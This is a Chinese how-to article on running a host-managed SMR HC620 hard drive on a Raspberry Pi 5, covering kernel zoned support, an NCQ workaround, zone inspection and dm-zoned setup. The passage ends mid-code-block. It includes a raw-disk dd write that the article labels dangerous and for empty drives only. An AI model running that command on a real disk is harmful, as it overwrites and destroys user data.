      <![CDATA[<h1>Ultrastar DC HC620 分析与实战——树莓派 5 驱动主机管理式 SMR 硬盘</h1><p>在二手平台搜索大容量机械盘时，很容易见到这样一类商品：西数（HGST）Ultrastar DC HC620，14TB，氦气企业盘，价格明显低于同容量的普通企业盘，商品描述里通常只带一句含糊的&quot;需专用系统&quot;或&quot;不支持普通电脑&quot;。价格低并非盘本身有故障，而是因为它属于<strong>主机管理式叠瓦盘（Host-Managed SMR，HM-SMR）</strong>。这类盘接入 Windows 无法识别，接入未启用 zoned 块设备支持的 Linux 内核时，<code>lsblk</code> 中也不会出现盘符，树莓派官方系统的内核恰好属于后者。多数买家因此无法正常使用，二手价格随之维持在低位。</p><p>但&quot;系统不直接支持&quot;与&quot;不能用&quot;是两回事。Linux 自 4.10 起引入分区块设备（Zoned Block Device）的核心支持，dm-zoned、zonefs、btrfs zoned 等组件在后续版本中陆续完善。本文的验证平台由一块 14TB 的 HC620、一台树莓派 5 和一块 PCIe 转 SATA 扩展板组成。</p><p>这套方案适合<strong>冷备份、顺序归档、一次写入多次读取</strong>的场景，顺序读写可以接近盘体的标称上限（233 MB/s）。它<strong>不适合</strong>用作普通 NAS 数据盘、下载盘或任何随机写密集的用途，即便通过 dm-zoned 这类兼容层屏蔽 zone 约束，效果也只是&quot;能用&quot;而非&quot;好用&quot;。如果需求是一块即插即用的仓库盘，更合理的做法是增加预算购买 CMR 盘。</p><h2 id="1-SMR-四象限：先分清买的是哪一种">1 SMR 四象限：先分清买的是哪一种</h2><p>机械盘按记录方式和管理方式可以分成四类，购买二手大容量盘之前需要先分清：</p><p><strong>CMR（Conventional Magnetic Recording，传统垂直记录）</strong>。磁道互不重叠，任意扇区可随机改写，即通常所说的普通硬盘。</p><p><strong>DM-SMR（Drive-Managed SMR，盘管理式叠瓦）</strong>。磁道部分重叠以换取存储密度（shingled 即瓦片式堆叠之意），改写一条磁道必须重写一整片。盘内固件在内部处理这些重写，对系统表现为普通硬盘，代价是缓存写满后性能大幅下降。消费级低价大容量盘的性能问题多出在这一类，且系统层面无法直接识别，只能查询型号确认。</p><p><strong>HA-SMR（Host-Aware SMR，主机感知式）</strong>。介于两者之间，既接受随机写也暴露 zone 接口，市面上很少见。</p><p><strong>HM-SMR（Host-Managed SMR，主机管理式）</strong>。不向主机隐藏叠瓦结构，而是将其以&quot;区（zone）&quot;的形式直接暴露给主机，通过 ZBC（SCSI）/ ZAC（ATA）命令集管理，<strong>只接受符合规则的顺序写入</strong>，违规写入直接返回 I/O 错误。数据中心用它换取可预测的性能和最高的存储密度。HC620 属于这一类，也是唯一一类接入后系统不显示盘符的。</p><p>识别方法按可靠程度排序：最可靠的是查型号，HC620 的 SATA 型号为 <code>HSH721414ALE6M0</code>（14TB、512e）、<code>HSH721414ALN6M0</code>（14TB、4Kn）及对应的 15TB 型号 <code>HSH721415ALE6M0</code> / <code>HSH721415ALN6M0</code>，型号以 <code>HSH</code> 开头基本都属于这个家族。其次看商品页关键词，“host managed”、“主机管理”、“需专用系统/服务器”、&quot;不支持个人电脑&quot;都是信号。最后，盘到手后在支持 zoned 的系统上执行一条命令即可定性：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /sys/block/sda/queue/zoned</span><br><span class="line"><span class="comment"># host-managed → HM-SMR</span></span><br><span class="line"><span class="comment"># host-aware   → HA-SMR</span></span><br><span class="line"><span class="comment"># none         → CMR 或 DM-SMR（DM-SMR 对系统不可见，只能查型号）</span></span><br></pre></td></tr></table></figure><div class="note warning flat"><p>购买前确认接口是 <strong>SATA</strong>。HC620 有 SATA 和 SAS 两种接口，SAS 版往往更便宜，但本文使用的 PCIe 转 SATA 方案无法连接 SAS 盘，需要额外的 SAS HBA 卡，功耗和体积都是另一个量级，不在本文范围内。</p></div><h2 id="2-HC620-是一块什么盘">2 HC620 是一块什么盘</h2><p>基本规格：3.5 寸、7200 RPM、氦气封装（HelioSeal 第四代）、512MB 缓存、官方标称最高持续传输率 233 MB/s（223 MiB/s，外圈值，向内圈递减，实测见后文）、额定年写入负载 550TB、MTBF 250 万小时。2018 年发布时，15TB 型号是全球第一块 15TB 企业盘。</p><p>真正决定使用方式的是它的 zone 布局。整块盘的地址空间划分为若干 <strong>256 MiB 的区</strong>，分为两种类型：</p><ul><li><strong>常规区（Conventional Zone）</strong>：位于盘的起始位置，容量占比很小（15TB 型号实测为 130GiB 出头），支持随机读写，行为与普通硬盘一致。后文会提到，dm-zoned 和 f2fs 的元数据都存放在这部分常规区。</li><li><strong>顺序写区（Sequential Write Required Zone）</strong>：占据其余全部空间。每个区维护一个<strong>写指针（Write Pointer）</strong>，写入必须精确落在写指针位置并顺序推进。改写已有数据时，只能将整个区**重置（Reset）**后从头写入。随机读不受限制。</li></ul><p>具体到容量：14TB 512e 型号共 52156 个区（每区 524288 个 512B 逻辑块），15TB 4Kn 型号共 55880 个区（每区 65536 个 4K 逻辑块），均为 256 MiB。后文执行 <code>blkzone report</code> 时可以核对这个数字。</p><p>512e（<code>ALE</code>）和 4Kn（<code>ALN</code>）型号在本文方案下均可使用，物理扇区都是 4K，区别仅在于逻辑扇区大小。二手市场上 512e 更常见，本文以 14TB 512e 为例。</p><p>到手后的检测流程与普通企业盘相同，<code>smartctl</code> 可正常工作，重点关注通电时间、<code>Reallocated_Sector_Ct</code> 和 UDMA CRC 错误。注意 Ubuntu Server 没有预装 smartmontools：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install smartmontools</span><br><span class="line"><span class="built_in">sudo</span> smartctl -a /dev/sda</span><br></pre></td></tr></table></figure><p>本盘实测关键字段：整体评估 PASSED，<strong>通电 55441 小时（约 6.3 年）</strong>，<code>Reallocated_Sector_Ct</code>、<code>Current_Pending_Sector</code>、<code>Offline_Uncorrectable</code>、<code>UDMA_CRC_Error_Count</code> 全部为 0，<code>Helium_Level</code> 为 100，盘温 36°C。</p><p>数据中心退役盘的通电时间普遍在数万小时，判断健康状态应依据缺陷计数和氦气水平，而不是使用时长。这块盘运行六年多，各项指标仍然全部正常。smartctl 会提示 <code>Device is: Not in smartctl database</code>，HC620 不在其识别库中，这属于正常现象，不影响属性读取。</p><h2 id="3-硬件准备">3 硬件准备</h2><p><strong>必需：</strong></p><ul><li>树莓派 5，内存大小不影响本方案，2GB 版本即可满足需求，本文实测使用的是 8GB 版本</li><li>PCIe 转 SATA 扩展板。本文选用微雪 <strong>PCIe TO 2-CH SATA HAT+</strong>，价格约 100 元，包装内含 16PIN FPC 排线、SATA 数据电源一体线和铜柱。实测主控为 ASMedia <strong>ASM1061/1062</strong>，PCI ID 为 <code>1b21:0612</code>，提供双 SATA 接口，链路规格为 PCIe 2.0 x1。选型时具体芯片型号不是首要因素，关键是<strong>必须支持 AHCI 协议</strong>，因为 ZAC 命令需要经内核 libata 层原生传递。ASM1061、JMB582、JMB585、ASM1166 这类标准 AHCI 控制器都满足这一要求。多数 USB 转 SATA 桥接方案无法透传 zone 管理命令，除非产品明确声明支持相关 ZAC/ZBC 命令透传，因此不建议使用 USB-SATA 硬盘盒。ASM1061 与 HM-SMR 组合可能存在 NCQ 兼容性问题，可通过修改内核参数解决，详见第 5 节。预算允许的情况下，选用 JMB585 或 ASM1166 等更新的主控方案会更稳妥。</li><li>12V 电源。这块扩展板提供 12V DC 输入接口，规格为 <strong>4.0mm × 1.7mm</strong>，并板载 5V 和 12V 硬盘供电，这是选用它的另一个原因，3.5 寸硬盘所需的 12V 供电树莓派自身无法提供。硬盘启动瞬间 12V 电流普遍在 2A 上下，单盘建议按不低于 3A 留余量，双盘则需相应翻倍。</li><li>HC620 本体（SATA 版）</li></ul><p>**可选：**硬盘支架或减震垫（7200 转企业级硬盘的震动和噪音比桌面盘更明显），以及给 SATA 主控芯片贴的小散热片。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lspci -nn</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0001:00:00.0 PCI bridge [0604]: Broadcom Inc. and subsidiaries BCM2712 PCIe Bridge [14e4:2712] (rev 21)</span><br><span class="line">0001:01:00.0 SATA controller [0106]: ASMedia Technology Inc. ASM1061/ASM1062 Serial ATA Controller [1b21:0612] (rev 02)</span><br><span class="line">0002:00:00.0 PCI bridge [0604]: Broadcom Inc. and subsidiaries BCM2712 PCIe Bridge [14e4:2712] (rev 21)</span><br><span class="line">0002:01:00.0 Ethernet controller [0200]: Raspberry Pi Ltd RP1 PCIe 2.0 South Bridge [1de4:0001]</span><br></pre></td></tr></table></figure><p>SATA 控制器识别为 ASMedia ASM1061/1062，class 0106 即标准 AHCI 控制器，可以正常使用。另外可以看到 Pi 5 的板载千兆网卡走的是另一条 PCIe 链路（RP1 South Bridge），与扩展板互不占用的。</p><p>组装过程比较简单。将 FPC 排线连接 Pi 5 的 PCIe 接口和扩展板，注意排线两端锁扣方向，一体线连接硬盘，12V 电源接扩展板 DC 口。然后在 <code>/boot/firmware/config.txt</code> 中启用外部 PCIe。是否需要手动配置与具体设备有关，较新固件检测到设备后会自动启用。</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">dtparam</span>=pciex1</span><br><span class="line"><span class="comment"># ASM1061/1062 是 PCIe 2.0 设备，链路只会协商到 Gen2 x1（约 500MB/s）</span></span><br><span class="line"><span class="comment"># 对这块板设置 dtparam=pciex1_gen=3 没有意义，单盘机械硬盘也远用不满 Gen2 带宽</span></span><br></pre></td></tr></table></figure><h2 id="4-系统选择：为什么原版系统不行">4 系统选择：为什么原版系统不行</h2><p>这一节的内容是后续所有工作的前提。HM-SMR 盘要被内核识别为块设备，内核必须启用 <code>CONFIG_BLK_DEV_ZONED</code>（分区块设备支持，Zoned Block Device）。该选项启用后，SCSI 子系统对 ZBC/ZAC 盘的支持和 f2fs 的 zoned 支持会一并开启，dm-zoned 和 zonefs 则还需要各自的选项。</p><p>问题在于，Raspberry Pi OS 的官方内核没有启用这些选项。本文核对过 rpi-6.12.y 和 rpi-6.18.y 两个分支，在 arch/arm64/configs/bcm2712_defconfig 中，CONFIG_BLK_DEV_ZONED、CONFIG_DM_ZONED 和 CONFIG_ZONEFS_FS 均未启用。后果是 HC620 接上后，内核在 <code>sd_probe</code> 阶段直接放弃这块盘，<code>dmesg</code> 里只留下一行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sd 0:0:0:0: Unsupported ZBC host-managed device.</span><br></pre></td></tr></table></figure><p>此时 <code>lsblk</code> 看不到这块盘，<code>/dev/sda</code> 也不存在。</p><p>实测于 Raspberry Pi OS（内核 6.18.34+rpt-rpi-2712）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[    1.578469] scsi 0:0:0:0: Direct-Access-ZBC ATA      HGST HSH721414AL T10B PQ: 0 ANSI: 7</span><br><span class="line">[    1.578658] sd 0:0:0:0: Unsupported ZBC host-managed device.</span><br></pre></td></tr></table></figure><p>日志显示内核识别出了这是一块 ZBC 设备，随后因不支持而放弃注册，<code>lsblk</code> 中只剩 SD 卡。</p><p>解决办法有两条：给 Pi OS 自编内核（见附录 A），或者换用默认带 zoned 支持的发行版。我最终选择了 <strong>Ubuntu Server 26.04 LTS（64-bit，树莓派镜像）</strong>。这台机器建成后是 7×24 运行的存储机，自编内核意味着每次 <code>apt</code> 更新内核都要重编一遍，或者永久 hold 内核包并放弃安全更新。Ubuntu 的 <code>linux-raspi</code> 内核由 apt 正常维护，zoned 支持不会因更新而丢失。26.04 基于内核 7.0，zoned 相关的代码也足够新。</p><p>烧写时在 Raspberry Pi Imager 中选择 Other general-purpose OS → Ubuntu → <strong>Ubuntu Server 26.04 LTS (64-bit)</strong>，用户名和 SSH 都可以在 Imager 的预配置里填好。Wi-Fi 预配置在 Ubuntu Server 上首启不可靠，cloud-init 应用无线配置的时机偏晚，常见表现是首次开机连不上、重启一次后恢复，5GHz SSID 受首启国家码未生效的影响更容易失败。这台机器本身是常开的存储机，首启建议直接插网线，无线可以等系统起来后再用 netplan 配置。另外还有一个 26.04 特有的情况：按官方发布说明，这一版树莓派镜像采用新的启动流程（A/B 启动布局），要求 Pi 5 的 EEPROM 固件日期不早于 2025-02-11，过旧的固件可能无法启动该镜像。如果 Pi 5 库存时间较久，先在任意能启动的系统里执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> rpi-eeprom-update      <span class="comment"># 查看当前固件日期</span></span><br><span class="line"><span class="built_in">sudo</span> rpi-eeprom-update -a   <span class="comment"># 过旧则升级，然后重启</span></span><br></pre></td></tr></table></figure><p>实测本机固件日期为 2025-05-08，满足要求，无需操作（Ubuntu 上 <code>rpi-eeprom-update</code> 由 <code>rpi-eeprom</code> 包提供，可直接使用）。</p><p>系统启动后先验证内核配置，这一步的结果决定是否需要参考附录 A 自编内核：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -E <span class="string">&quot;BLK_DEV_ZONED|DM_ZONED|ZONEFS&quot;</span> /boot/config-$(<span class="built_in">uname</span> -r)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">CONFIG_BLK_DEV_ZONED=y</span><br><span class="line">CONFIG_BLK_DEV_ZONED_LOOP=m</span><br><span class="line">CONFIG_DM_ZONED=m</span><br><span class="line">CONFIG_ZONEFS_FS=m</span><br></pre></td></tr></table></figure><p>四项全部齐备（实测于 26.04 的 <code>linux-raspi</code> 内核 7.0.0-1009-raspi）：块层 zoned 支持直接编进内核，dm-zoned 和 zonefs 以模块形式提供，本文三种文件系统方案都不需要改动内核。作为对照，同一台 Pi 5 换 Raspberry Pi OS 的卡执行同一条命令，结果是 <code># CONFIG_BLK_DEV_ZONED is not set</code>。</p><p>再确认两个环境信息，后文实测会引用：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">uname</span> -r            <span class="comment"># 实测：7.0.0-1009-raspi</span></span><br><span class="line">getconf PAGE_SIZE   <span class="comment"># 实测：4096</span></span><br></pre></td></tr></table></figure><h2 id="5-识盘与-zone-勘察">5 识盘与 zone 勘察</h2><p>在带有 zoned 支持的内核上接入硬盘并上电。查看内核日志建议使用 <code>journalctl -k -b</code> 而不是 <code>dmesg</code>。内核环形缓冲区容量有限，一旦出现大量刷屏日志（例如附录 B 中的 AppArmor audit 问题），开机阶段的识盘信息会被挤出缓冲区，此时 <code>dmesg</code> 无法查到这些早期记录，而 journal 保存了本次启动的完整内核日志。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> journalctl -k -b | grep -iE <span class="string">&quot;ahci|ata[0-9]|sd[a-z]|zbc&quot;</span></span><br></pre></td></tr></table></figure><p>以下为实测输出（节选），其中暴露出一个扩展板兼容性问题：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">ahci 0001:01:00.0: AHCI vers 0001.0200, 32 command slots, 6 Gbps, SATA mode</span><br><span class="line">ahci 0001:01:00.0: 2/2 ports implemented (port mask 0x3)</span><br><span class="line">ata1: SATA link up 6.0 Gbps (SStatus 133 SControl 300)</span><br><span class="line">ata1.00: ATA-9: HGST HSH721414ALE6M0, L4GMT10B, max UDMA/133</span><br><span class="line">ata1.00: 27344764928 sectors, multi 0: LBA48 NCQ (depth 32), AA</span><br><span class="line">scsi 0:0:0:0: Direct-Access-ZBC ATA      HGST HSH721414AL T10B PQ: 0 ANSI: 7</span><br><span class="line">sd 0:0:0:0: [sda] Host-managed zoned block device</span><br><span class="line">sd 0:0:0:0: [sda] REPORT ZONES start lba 0 failed</span><br><span class="line">sd 0:0:0:0: [sda] Sense Key : Aborted Command [current]</span><br><span class="line">sd 0:0:0:0: [sda] 0 512-byte logical blocks: (0 B/0 B)</span><br><span class="line">（libata 错误处理，链路复位重试约 30 秒）</span><br><span class="line">ata1.00: NCQ disabled due to excessive errors</span><br><span class="line">ata1: SATA link up 6.0 Gbps (SStatus 133 SControl 300)</span><br><span class="line">sd 0:0:0:0: [sda] 27344764928 512-byte logical blocks: (14.0 TB/12.7 TiB)</span><br><span class="line">sda: detected capacity change from 0 to 27344764928</span><br><span class="line">sd 0:0:0:0: [sda] 52156 zones of 524288 logical blocks</span><br></pre></td></tr></table></figure><p>上述日志的时间线如下。链路正常协商到 6.0 Gbps，内核识别出这是一台 ZBC 设备，但第一条 REPORT ZONES（读取 zone 布局的命令）被盘中止，容量读为 0。libata 反复重试后<strong>自动禁用 NCQ</strong>，此后同样的命令立即成功，容量和区数（52156 个，一致）全部读出，整个收敛过程约一分钟。该序列<strong>每次开机都确定性复现</strong>，逐行节奏一致。这是排除接触不良、供电抖动等物理层原因的依据之一，物理层故障通常表现为随机性，不会每次都精确失败在同一条命令上。</p><p>证据强烈指向 <strong>ASM1061 对 NCQ 编码 ZAC 命令的 AUX 字段处理存在缺陷</strong>，理由有三。其一，ZAC 的 zone 管理命令经 NCQ 路径下发时（RECEIVE/SEND FPDMA QUEUED）依赖 FIS 中的 AUX 字段，而内核 <code>drivers/ata/ahci.c</code> 对<strong>所有</strong> AHCI 控制器无条件启用该能力，源码注释原文为 “All AHCI controllers should be forward-compatible with the new auxiliary field. This code should be conditionalized if any buggy AHCI controllers are encountered”，即内核开发者已预见到在有缺陷的控制器上会出现此类失败。其二，ASM1061 基于 AHCI 1.2（日志中 <code>AHCI vers 0001.0200</code>），是 2011 年的设计，早于 AUX 字段和 ZAC 规范数年，向前兼容的假设在这类老芯片上最难得到保证。其三，内核的盘型号 quirk 表中没有任何 HC620 条目，该盘已在数据中心大规模部署多年，如果其固件的 NCQ ZAC 实现存在缺陷，理应早已被加入黑名单。日志特征也不符合典型的供电或线材故障。综合来看，现有证据高度指向 ASM1061 在 NCQ ZAC 命令处理上的兼容性问题。需要说明的是，本文未进行控制器 A/B 对照或协议级抓包，因此上述结论应视为有充分依据的故障归因，而非已完全证明的芯片缺陷。</p><p>此时硬盘已经可以正常使用，但不应每次开机都依赖约一分钟的错误重试完成收敛，需要将关闭 NCQ 的操作固化到内核命令行。在此之前需要先避开一个 26.04 特有的问题：<strong>顶层的 <code>/boot/firmware/cmdline.txt</code> 不是启动时实际读取的文件</strong>。26.04 的 A/B 启动布局通过 <code>config.txt</code> 中的 <code>os_prefix=current/</code> 将固件指向槽位目录，内核、initrd、设备树以及实际生效的 cmdline.txt 都位于 <code>/boot/firmware/current/</code> 之下。修改顶层文件不会生效，也不会产生任何报错。判断方法很简单，执行 <code>cat /proc/cmdline</code> 查看内核实际收到的参数，如果与所修改文件的内容不一致，就说明改错了文件。正确做法如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">grep os_prefix /boot/firmware/config.txt     <span class="comment"># 确认当前槽位，通常为 current/</span></span><br><span class="line"><span class="built_in">sudo</span> sed -i <span class="string">&#x27;s/$/ libata.force=1.00:noncq/&#x27;</span> /boot/firmware/current/cmdline.txt</span><br><span class="line"><span class="built_in">cat</span> /boot/firmware/current/cmdline.txt       <span class="comment"># 确认仍为单行且参数在行尾</span></span><br><span class="line"><span class="built_in">sudo</span> reboot</span><br></pre></td></tr></table></figure><p><code>1.00</code> 指 ata1 端口设备 0，即本盘。重启后按顺序验证：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/cmdline                            <span class="comment"># 参数应已在其中</span></span><br><span class="line"><span class="built_in">cat</span> /sys/block/sda/device/queue_depth        <span class="comment"># 应为 1</span></span><br><span class="line"><span class="built_in">sudo</span> journalctl -k -b | grep -iE <span class="string">&quot;ncq|report zones&quot;</span>   <span class="comment"># 应无 failed</span></span><br></pre></td></tr></table></figure><p>实测效果（节选）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">kernel: Kernel command line: ... libata.force=1.00:noncq</span><br><span class="line">kernel: ata1.00: FORCE: modified (noncq)</span><br><span class="line">kernel: ata1.00: 27344764928 sectors, multi 0: LBA48 NCQ (not used)</span><br><span class="line">kernel: sd 0:0:0:0: [sda] 52156 zones of 524288 logical blocks</span><br></pre></td></tr></table></figure><p><code>FORCE: modified (noncq)</code> 表示内核已确认应用该参数。识盘过程从链路协商到读出全部 52156 个区在一秒内完成，全程无失败、无重试。与不添加参数时约一分钟的错误收敛过程相比，可以说明固化该参数的必要性。<code>queue_depth</code> 确认为 1。</p><p>正常情况下，flash-kernel 会复制 current/cmdline.txt 生成新槽位的 new/cmdline.txt，因此手工添加的 libata.force=1.00:noncq 应当会随内核更新保留。为避免更新流程或人工修改造成意外，每次内核更新后仍建议使用 <code>cat /proc/cmdline</code> 复查。</p><p>性能方面的代价：NCQ 主要优化并发随机读的排队，对单流顺序读写基本没有影响。这块盘本身也只适合顺序负载，因此该代价可以接受。选购扩展板时如果希望避开这一问题，可以考虑更新的 JMB585/ASM1166 方案，但<strong>任何 AHCI 控制器与 HM-SMR 的组合都建议以实测为准</strong>。</p><p>接下来从块层核对几个关键属性：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">lsblk -z                                    <span class="comment"># ZONED 列：host-managed，ZONE-NR 52156，ZONE-SZ 256M</span></span><br><span class="line"><span class="built_in">cat</span> /sys/block/sda/queue/zoned              <span class="comment"># host-managed</span></span><br><span class="line"><span class="built_in">cat</span> /sys/block/sda/queue/nr_zones           <span class="comment"># 实测：52156</span></span><br><span class="line"><span class="built_in">cat</span> /sys/block/sda/queue/chunk_sectors      <span class="comment"># 实测：524288，即 256 MiB</span></span><br><span class="line"><span class="built_in">cat</span> /sys/block/sda/queue/scheduler          <span class="comment"># 实测：none [mq-deadline]，默认即选中</span></span><br></pre></td></tr></table></figure><p><code>lsblk -z</code> 中还有两个值得关注的列。ZONE-OMAX 为 128，表示盘允许同时处于打开状态的区数上限，zoned 文件系统的并发写入布局受其约束。ZONE-APP 32M 是内核为 SATA 盘模拟 Zone Append 的单次写入上限，该能力自 6.10 起随 zone write plugging 提供，SATA ZAC 命令集本身并不包含 Zone Append。</p><p>调度器方面存在一条新老内核的分界线。Linux 6.9 及更早版本中，zoned 盘的顺序写约束依赖 <strong>mq-deadline</strong> 保证写命令不被重排，属于硬性要求。从 Linux 6.10 起，块层引入了 zone write plugging，写入排序由块层原生处理，不再强制绑定特定调度器。本文使用的 26.04 对应 7.0 内核，mq-deadline <strong>已不是必需项</strong>，实测默认调度器恰好也选中了它。如有需要，可以通过一条 udev 规则固定（可选）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> &lt;&lt;<span class="string">&#x27;EOF&#x27;</span> | <span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/udev/rules.d/99-zoned-scheduler.rules</span><br><span class="line">ACTION==<span class="string">&quot;add|change&quot;</span>, KERNEL==<span class="string">&quot;sd[a-z]&quot;</span>, ATTR&#123;queue/zoned&#125;==<span class="string">&quot;host-managed&quot;</span>, ATTR&#123;queue/scheduler&#125;=<span class="string">&quot;mq-deadline&quot;</span></span><br><span class="line">EOF</span><br></pre></td></tr></table></figure><p>接下来使用 util-linux 自带的 <code>blkzone</code> 查看盘的实际布局，包括盘首部的常规区、其后大量的顺序写区，以及每个区的写指针位置：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> blkzone report /dev/sda | <span class="built_in">head</span> -20</span><br><span class="line"><span class="built_in">sudo</span> blkzone report /dev/sda | grep -c CONVENTIONAL   <span class="comment"># 常规区总数</span></span><br></pre></td></tr></table></figure><p>实测输出（节选）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">start: 0x000000000, len 0x080000, cap 0x080000, wptr 0x000000 reset:0 non-seq:0, zcond: 0(nw) [type: 1(CONVENTIONAL)]</span><br><span class="line">...（前 524 个区均为 CONVENTIONAL）</span><br><span class="line">start: 0x010600000, len 0x080000, cap 0x080000, wptr 0x000000 reset:0 non-seq:0, zcond: 1(em) [type: 2(SEQ_WRITE_REQUIRED)]</span><br></pre></td></tr></table></figure><p>输出读法：<code>len 0x080000</code> 为 524288 扇区，即 256 MiB。<code>wptr</code> 是<strong>相对区起始的偏移量</strong>，空区为 0。<code>zcond</code> 是区状态，常规区标记为 <code>0(nw)</code>（无写指针概念），空的顺序写区标记为 <code>1(em)</code>（empty）。常规区实测共 <strong>524 个</strong>（约 131 GiB），从盘首连续排布，至扇区 0x010600000 处切换为顺序写区。</p><p>此时可以做一个实验，直接验证 HM-SMR 的写入约束。注意不要随意挑选扇区号写入，否则即使报错也无法确定失败原因。严谨的做法是先用 <code>blkzone report</code> 找到一个空的顺序写区（<code>zcond: 1(em)</code>），其写指针位于区起始处，然后<strong>故意跳过写指针</strong>向区中间写入，使失败原因唯一指向写指针规则。以本盘第一个顺序写区（起始扇区 0x010600000 = 274726912）为例，向区内偏移 1 MiB（2048 扇区）处写入：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 危险操作，仅在空盘上实验</span></span><br><span class="line"><span class="built_in">sudo</span> blkzone report /dev/sda | grep -m3 SEQ</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">dd</span> <span class="keyword">if</span>=/dev/zero of=/dev/sda bs=512 count=8 seek=274728960 oflag=direct</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dd: IO error: Input/output error</span><br></pre></td></tr></table></figure><p>写入未落在写指针位置，盘按 ZAC 规范拒绝执行。普通文件系统（ext4、xfs、NTFS）的元数据更新全部属于这种原地改写操作，这正是它们无法直接格式化到这块盘上的原因，也是接下来三种方案需要解决的问题。</p><h2 id="6-方案一：dm-zoned，模拟成普通块设备">6 方案一：dm-zoned，模拟成普通块设备</h2><p>dm-zoned 是内核 device mapper 的一个目标（target），基本思路是用盘首的常规区充当随机写缓冲区和元数据区，把整块盘向上模拟成一个<strong>无写入约束的普通块设备</strong>，并在后台执行&quot;缓冲区 → 顺序区&quot;的数据搬运与回收。上层可以直接格式化 ext4 使用。</p><p>代价同样来自这一原理：随机写全部先落在盘首 100 多 GiB 的常规区内，写入量增大后会触发回收，性能出现明显波动，模拟层还需要占用一部分容量存放元数据。它是三个方案中<strong>兼容性最好、使用成本最低</strong>的一个，适合只需要一块可正常挂载的大容量盘的场景。</p><p>用户态工具 <code>dmzadm</code> 来自 dm-zoned-tools 项目，Ubuntu 官方仓库没有收录，需要自行编译（依赖以仓库 README 为准）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install build-essential git pkg-config m4 autoconf automake libtool \</span><br><span class="line">  uuid-dev libblkid-dev libudev-dev libdevmapper-dev libkmod-dev</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/westerndigitalcorporation/dm-zoned-tools</span><br><span class="line"><span class="built_in">cd</span> dm-zoned-tools</span><br><span class="line">sh autogen.sh &amp;&amp; ./configure &amp;&amp; make</span><br><span class="line"><span class="built_in">sudo</span> make install</span><br><span class="line"><span class="built_in">command</span> -v dmzadm   <span class="comment"># 实测安装在 /usr/sbin/dmzadm，systemd unit 里要用这个路径</span></span><br></pre></td></tr></table></figure><p>初始化并启动映射：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 